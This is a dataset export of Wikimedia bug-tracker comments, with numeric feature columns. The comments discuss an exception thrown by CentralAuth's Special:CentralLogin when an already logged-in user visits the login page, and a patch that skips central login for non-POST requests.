https://gerrit.wikimedia.org/r/159491",,,1410368942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0,"Change 159491 merged by jenkins-bot:
Don't do central login if not POSTed

GERRIT_URL"
312861,login when already logged in gets exception from Special:CentralLogin,"Change 159492 had a related patch set uploaded by Reedy:
Don't do central login if not POSTed

https://gerrit.wikimedia.org/r/159492",,,1410365572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,"Change 159492 had a related patch set uploaded by Reedy:
Don't do central login if not POSTed

GERRIT_URL"
312855,login when already logged in gets exception from Special:CentralLogin,"Change 159491 had a related patch set uploaded by Reedy:
Don't do central login if not POSTed

https://gerrit.wikimedia.org/r/159491",,,1410365558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,"Change 159491 had a related patch set uploaded by Reedy:
Don't do central login if not POSTed

GERRIT_URL"
312848,login when already logged in gets exception from Special:CentralLogin,*** Bug 70660 has been marked as a duplicate of this bug. ***,,,1410365497,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70660 has been marked as a duplicate of this bug. ***
312843,login when already logged in gets exception from Special:CentralLogin,"(In reply to Kunal Mehta (Legoktm) from comment #9)
> I wonder if we should even be triggering the UserLoginComplete hook if the
> user wasn't actually newly logged in.

That sounds a little more future proof (and current-proof for other extensions) to me as well, FWIW.  When you're already logged in, visiting the login page (even if you're then redirected to your returnto) is not really a UserLoginComplete.

You were already logged in, so you didn't just complete a login.",,,1410245439,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,1.0,2.0,7.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,1.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,0.0,3.6206896551724137,0.7126436781609196,"(In reply to Kunal Mehta (Legoktm) from comment #9)
QUOTE
QUOTE

That sounds a little more future proof (and current-proof for other extensions) to me as well, FWIW.  When you're already logged in, visiting the login page (even if you're then redirected to your returnto) is not really a UserLoginComplete.

You were already logged in, so you didn't just complete a login."
312837,login when already logged in gets exception from Special:CentralLogin,I was hoping someone else more familiar with auth stuff would look at it but I guess not. Flagging for backport...,,,1410195228,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.086956521739131,0.9565217391304348,I was hoping someone else more familiar with auth stuff would look at it but I guess not. Flagging for backport...
312833,login when already logged in gets exception from Special:CentralLogin,"Change 158547 merged by jenkins-bot:
Don't do central login if not POSTed

https://gerrit.wikimedia.org/r/158547",,,1410194848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0,"Change 158547 merged by jenkins-bot:
Don't do central login if not POSTed

GERRIT_URL"
312829,login when already logged in gets exception from Special:CentralLogin,Patch got a +1 by legoktm; is more needed or can this get merged?,,,1410189722,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.25,1.0,Patch got a +1 by legoktm; is more needed or can this get merged?
312825,login when already logged in gets exception from Special:CentralLogin,"Change 158547 had a related patch set uploaded by CSteipp:
Don't do central login if not POSTed

https://gerrit.wikimedia.org/r/158547",,,1409874544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,"Change 158547 had a related patch set uploaded by CSteipp:
Don't do central login if not POSTed

GERRIT_URL"
312820,login when already logged in gets exception from Special:CentralLogin,*** Bug 70381 has been marked as a duplicate of this bug. ***,,,1409805634,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70381 has been marked as a duplicate of this bug. ***
312816,login when already logged in gets exception from Special:CentralLogin,"(In reply to Chris Steipp from comment #7)
> Tyler, can you explain the use case you put in that comment? I'm not sure I
> follow why that is needed. We can probably flag CentralAuth not to redirect
> if we have to, but I'm trying to understand the whole picture.

I mean, it says everything in the comment. Let's say a user has two tabs open, their watchlist and their preferences page. However, they have been logged out because of the session expiry. So when they open their browser, Special:Watchlist and Special:Preferences redirect them to the login page. The user logs in in just one of those pages, such that they can then just refresh all the other pages and have them auto-return to where they intended to go to.",,,1409724491,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-44,True,1.0,0.5,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,10.5,0.5,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,4.5,0.5,0.5,2.5,0.0,0.0,0.0,1.0,1.0,0.0,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,10.0,3.0,2.5,6.0,0.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,8.5,10.5,4.0,0.0,0.0,0.0,8.5,0.0,2.0,0.5,2.0,0.0,0.0,0.0,0.0,3.766333938294011,0.7735934664246824,"(In reply to Chris Steipp from comment #7)
QUOTE
QUOTE
QUOTE

I mean, it says everything in the comment. Let's say a user has two tabs open, their watchlist and their preferences page. However, they have been logged out because of the session expiry. So when they open their browser, Special:Watchlist and Special:Preferences redirect them to the login page. The user logs in in just one of those pages, such that they can then just refresh all the other pages and have them auto-return to where they intended to go to."
312812,login when already logged in gets exception from Special:CentralLogin,"Easy/quick/hackish fix in CentralAuth is to check in the onUserLoginComplete function that $wgRequest->wasPosted() === false, and not start the central login process if that's the case.

I wonder if we should even be triggering the UserLoginComplete hook if the user wasn't actually newly logged in.",,,1409722540,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,8.0,13.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,7.0,7.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.266666666666667,0.7833333333333333,"Easy/quick/hackish fix in CentralAuth is to check in the onUserLoginComplete function that $wgRequest->wasPosted() === false, and not start the central login process if that's the case.

I wonder if we should even be triggering the UserLoginComplete hook if the user wasn't actually newly logged in."
312807,login when already logged in gets exception from Special:CentralLogin,"I am experiencing this. I am getting ""[fe654767] 2014-09-03 05:20:50: Fatal exception of type MWException""m even after I try Special:UserLogout then try to log back in. When I try to edit, I get the normal logged out IP traced banner. Any ideas?",,,1409722066,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-44,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,21.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,9.0,11.0,7.0,2.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,5.0,3.5789473684210527,0.7894736842105263,"I am experiencing this. I am getting ""[fe654767] 2014-09-03 05:20:50: Fatal exception of type MWException""m even after I try Special:UserLogout then try to log back in. When I try to edit, I get the normal logged out IP traced banner. Any ideas?"
312802,login when already logged in gets exception from Special:CentralLogin,"So the cause is Idd9325374cb5dc13c4c057f45f88a33bdff523a9, and this code:


// In the case where the user is already logged in, do not show the login page.
// The use case scenario for this is when a user opens a large number of tabs, is
// redirected to the login page on all of them, and then logs in on one, expecting
// all the others to work properly.
if ( $this->mType !== 'signup' && !$this->mPosted && $this->getUser()->isLoggedIn() ) {
	$this->successfulLogin();
}

CentralAuth hooks UserLoginComplete from successfulLogin, which redirects through loginwiki's Special:CentralLogin/start and /complete.

I think the exception is happening because it tries to get the username out of $_SESSION, but since the user logged in a while ago, and

> echo ini_get( 'session.gc_maxlifetime' );
1440

we only keep sessions around server side for 24 minutes, the username from $_SESSION is probably null, so the exception is triggered.

Tyler, can you explain the use case you put in that comment? I'm not sure I follow why that is needed. We can probably flag CentralAuth not to redirect if we have to, but I'm trying to understand the whole picture.",,,1409180717,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.6666666666666666,0.0,0.0,1.0,1.0,2.6666666666666665,1.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,5.0,10.0,0.0,2.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,7.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,10.666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,6.0,3.0,6.666666666666667,3.0,3.3333333333333335,9.0,0.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,4.666666666666667,10.0,3.0,0.3333333333333333,0.6666666666666666,0.0,4.666666666666667,0.0,1.3333333333333333,1.0,0.3333333333333333,1.0,0.0,0.0,0.0,3.872427983539095,0.6954732510288065,"So the cause is Idd9325374cb5dc13c4c057f45f88a33bdff523a9, and this code:


// In the case where the user is already logged in, do not show the login page.
// The use case scenario for this is when a user opens a large number of tabs, is
// redirected to the login page on all of them, and then logs in on one, expecting
// all the others to work properly.
if ( $this->mType !== 'signup' && !$this->mPosted && $this->getUser()->isLoggedIn() ) {
	$this->successfulLogin();
}

CentralAuth hooks UserLoginComplete from successfulLogin, which redirects through loginwiki's Special:CentralLogin/start and /complete.

I think the exception is happening because it tries to get the username out of $_SESSION, but since the user logged in a while ago, and

QUOTE
1440

we only keep sessions around server side for 24 minutes, the username from $_SESSION is probably null, so the exception is triggered.

Tyler, can you explain the use case you put in that comment? I'm not sure I follow why that is needed. We can probably flag CentralAuth not to redirect if we have to, but I'm trying to understand the whole picture."
312797,login when already logged in gets exception from Special:CentralLogin,*** Bug 69947 has been marked as a duplicate of this bug. ***,,,1409023424,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69947 has been marked as a duplicate of this bug. ***
312790,login when already logged in gets exception from Special:CentralLogin,Bug 69947 might be a dup?,,,1408976689,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,Bug 69947 might be a dup?
312783,login when already logged in gets exception from Special:CentralLogin,"(In reply to spage from comment #0)
> As I recall, visiting Special:UserLogin while logged in on mediawiki.org a
> week or so ago would just redirect me to the main page (not ideal but better
> than an exception); but now I'm getting the same Internal error exception
> except the production cluster truncates it to a pink ""[7ed77f38] 2014-08-21
> 08:02:15: Fatal exception of type MWException"".

If i go to https://www.mediawiki.org/wiki/Special:UserLogin i will be redirected to the main page? No exception there (but in other projects, like en.wiki)

On betalabs i get redirected to main page, too.",,,1408953428,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,5.0,17.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.23728813559322,0.6610169491525424,"(In reply to spage from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If i go to URL i will be redirected to the main page? No exception there (but in other projects, like en.wiki)

On betalabs i get redirected to main page, too."
312777,login when already logged in gets exception from Special:CentralLogin,"A white screen of death on the login page is more than normal priority, even if it only happens when you're already logged in.

(In reply to spage from comment #0)
> As I recall, visiting Special:UserLogin while logged in on mediawiki.org a
> week or so ago would just redirect me to the main page (not ideal but better
> than an exception);

This is the new expected behavior.  Specifically, it redirects you to the returnto, and the main page is the default returnto if another one is not specified in the query string.

(In reply to Andre Klapper from comment #1)
> It is pretty confusing when you go to
> https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1 (being already
> logged in) and all you get is ""[d1aecbd5] 2014-08-23 15:16:17: Fatal
> exception of type MWException"" on a white page.

Just to avoid confusion, useNew was temporary and removed quite a while ago (except for some outdated qqq that crept back in; I just uploaded a patch to fix).  It has no effect and is unrelated to this bug.

(In reply to Kunal Mehta (Legoktm) from comment #2)
> I think this was caused by Idd9325374cb5dc13c4c057f45f88a33bdff523a9. There
> have been no CA changes related to this except my patch changing the fatal
> into a MWException (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d).

If S is right that it redirected to the main page before in WMF production (""As I recall..."") that indicates the bad CentralAuth interaction is more recent.  I personally can't confirm this, so I don't remember if I tested this behavior in production.",,,1408940117,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,4.333333333333333,2.6666666666666665,0.0,0.0,1.6666666666666667,3.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,6.0,12.0,0.0,1.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.6666666666666667,1.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,3.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,10.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,3.0,13.0,2.6666666666666665,1.0,6.666666666666667,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,4.333333333333333,12.0,4.666666666666667,0.0,1.0,0.0,4.333333333333333,0.0,1.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,3.607387387387387,0.7321321321321322,"A white screen of death on the login page is more than normal priority, even if it only happens when you're already logged in.

(In reply to spage from comment #0)
QUOTE
QUOTE
QUOTE

This is the new expected behavior.  Specifically, it redirects you to the returnto, and the main page is the default returnto if another one is not specified in the query string.

(In reply to Andre Klapper from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Just to avoid confusion, useNew was temporary and removed quite a while ago (except for some outdated qqq that crept back in; I just uploaded a patch to fix).  It has no effect and is unrelated to this bug.

(In reply to Kunal Mehta (Legoktm) from comment #2)
QUOTE
QUOTE
QUOTE

If S is right that it redirected to the main page before in WMF production (""As I recall..."") that indicates the bad CentralAuth interaction is more recent.  I personally can't confirm this, so I don't remember if I tested this behavior in production."
312771,login when already logged in gets exception from Special:CentralLogin,I think this was caused by Idd9325374cb5dc13c4c057f45f88a33bdff523a9. There have been no CA changes related to this except my patch changing the fatal into a MWException (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d).,,,1408912561,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,20.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.3,0.9333333333333333,I think this was caused by Idd9325374cb5dc13c4c057f45f88a33bdff523a9. There have been no CA changes related to this except my patch changing the fatal into a MWException (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d).
312765,login when already logged in gets exception from Special:CentralLogin,"It is pretty confusing when you go to https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1 (being already logged in) and all you get is ""[d1aecbd5] 2014-08-23 15:16:17: Fatal exception of type MWException"" on a white page.

Raising priority.",,,1408807087,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,2.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,9.0,0.0,0.0,4.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,3.5217391304347827,0.8913043478260869,"It is pretty confusing when you go to URL (being already logged in) and all you get is ""[d1aecbd5] 2014-08-23 15:16:17: Fatal exception of type MWException"" on a white page.

Raising priority."
71781,"makecat uses http on import, causing deadlock","makecat has its main loop at the module level, rather than in a function main() like other scripts.

This causes a deadlock in handleArgs while trying to fetch the live API version.

--------------------------
**Version**: core-(2.0)
